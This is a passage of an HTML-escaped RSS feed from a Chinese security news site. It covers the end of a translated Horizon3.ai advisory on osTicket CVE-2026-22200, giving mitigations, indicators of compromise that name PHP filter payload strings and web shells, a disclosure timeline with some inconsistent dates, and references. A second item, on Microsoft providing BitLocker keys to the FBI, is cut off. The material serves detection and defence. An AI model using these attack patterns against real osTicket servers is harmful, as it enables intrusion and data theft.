leaf=&quot;&quot;&gt;实施网络或主机防火墙规则，限制对osTicket服务器的访问。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;管理员面板 -&amp;gt; 用户&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;选项卡中更新osTicket配置，禁用公共用户的自助注册。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;管理员面板 -&amp;gt; 用户&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;选项卡中更新osTicket配置，要求用户注册和登录才能提交工单。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;管理员面板 -&amp;gt; 系统&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;选项卡中更新osTicket配置，禁用线程条目和电子邮件通信中的HTML。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞检测&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;研究团队提供了一个检测脚本&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;check.py&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;，可用于判断是否在运行过时的osTicket版本。该脚本不直接测试漏洞利用，而是检查1.18.3 / 1.17.7更新中包含的其他变化。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img alt=&quot;运行漏洞检测检查脚本&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;502779377&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130104176983566451471.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;运行漏洞检测检查脚本&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;入侵指标&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;以下迹象表明系统可能已遭到利用：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Web服务器访问日志中包含大量对&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/login.php&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;端点的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;GET&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;和&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;POST&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;请求，表明可能存在暴力破解工单访问权限的尝试，通常伴有类似&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;python-requests&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;的可疑用户代理。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;创建工单或注册账户的数量异常高于正常水平。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Web服务器访问日志条目中包含大量用于将工单打印为PDF的GET请求，例如&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;GET /tickets.php?a=print&amp;amp;id=140&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Web服务器访问日志条目中包含路径很长、并带有PHP过滤器载荷的GET请求，载荷中含有&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;php%3a&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;//和&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;convert.iconv&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;等字符串，通常导致“414 URI过长”错误。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osTicket应用程序的Web根目录中存在Web Shell PHP脚本。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;披露时间线&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年8月28日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Horizon3.ai通过邮件向EnhanceSoft报告PDF文件读取问题，并附带关于90天披露政策的声明。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年8月29日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;EnhanceSoft确认收到报告。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年9月3日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Horizon3.ai报告PDF文件读取问题在与CNEXT结合利用时可导致远程代码执行。同时披露了其他中/低严重性问题（存储型跨站脚本、服务器端请求伪造等）。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年9月4日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;EnhanceSoft确认收到额外信息。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年9月至12月：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Horizon3.ai与EnhanceSoft就补丁状态进行了多次沟通。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年1月12日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;在向供应商初次披露130多天后，Horizon3.ai公开披露CVE-2026-22200，并通知EnhanceSoft。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年1月12日至15日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;EnhanceSoft确认漏洞，并与Horizon3.ai合作验证修复程序。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年1月15日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;EnhanceSoft发布修补版本1.18.3 / 1.17.7。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2025年1月22日：&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;本研究报告发布。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;团队像处理其他零日漏洞一样，作为其快速响应计划的一部分，通知了所有已知的受影响客户，并在NodeZero产品中添加了该漏洞的检测覆盖。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;致谢与参考&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;感谢@_splitline_提出的web2pdf CTF挑战和巧妙的位图图像技巧，以及@cfreal_对CNEXT利用链的突破性发现。&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://osticket.com/osticket-v1-18-3-v1-17-7-available/&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://github.com/horizon3ai/CVE-2026-22200&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://blog.splitline.tw/hitcon-ctf-2022/#%F0%9F%93%83-web2pdf-web&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://blog.lexfo.fr/iconv-cve-2024-2961-p1.html&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://nvd.nist.gov/vuln/detail/cve-2026-22200&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://nvd.nist.gov/vuln/detail/cve-2024-2961&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2025-26241&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原文：https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Sat, 31 Jan 2026 12:58:35 +0800</pubDate></item><item><title>FBI利用微软提供的BitLocker密钥绕过了“号称无法破解”的加密技术</title><link>https://www.7x0.cn/post/18.html</link><description>&lt;p style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;微软&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;已证实，当收到有效的法院命令或搜查令时，它会与执法机构合作，甚至会向执法机构提供&lt;/span&gt;&lt;span style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;BitLocker&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;恢复&lt;/span&gt;&lt;span style=&quot;box-sizing: border-box;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;密钥&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。《福布斯》是在关岛的一项联邦欺诈调查后披露这一消息的，在该调查中，联邦调查局（FBI）成功使用微软提供的密钥解锁了三台与新冠肺炎失业援助计划相关的加密笔记本电脑。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这家位于雷德蒙德的科技巨头透露，它每年收到约20份BitLocker密钥的请求。微软遵守合法的政府请求并移交其云基础设施中的密钥，这并非新信息。然而，这是该公司首次公开证实向联邦调查人员交出密钥。&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; nodeleaf=&quot;&quot;&gt;&lt;img alt=&quot;FBI利用微软提供的BitLocker密钥绕过了“无法破解”的加密技术&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100046735&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131124906176983494625766.jpg&quot; referrerpolicy=&quot;no-referrer&quot; height=&quot;338&quot; style=&quot;box-sizing: border-box;border: 0px;vertical-align: middle;max-width: 100%;height: auto;clear: both;display: block;margin: 0.8em auto;border-radius: 5px;&quot; width=&quot;600&quot; class=&quot;max-w-full h-auto my-4 rounded-lg shadow-md&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;对于那些不熟悉的人来说，大多数现代Windows电脑默认开启BitLocker加密功能，该功能对驱动器进行加密以保障数据安全。不过，Windows经常会提示用户将其48位恢复密钥备份到微软云账户中。这种选择使得微软能够在技术上保留对这些密钥的访问权限，从而在执法部门找上门时可以获取这些密钥。&lt;/span&gt;&lt;/p&gt;&lt;section nodeleaf=&quot;&quot;&gt;&lt;mp-common-cpsad data-pluginname=&quot;mpcps&quot; data-templateid=&quot;card&quot; data-cpsversion=&quot;v122&quot; data-goodssouce=&quot;1&quot; data-traceid=&quot;69dc1833-1b95-47be-99a1-e9fb36e66dd3&quot; data-pid=&quot;447_100029153&quot;&gt;&lt;/mp-common-cpsad&gt;&lt;/section&gt;&lt;p style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: 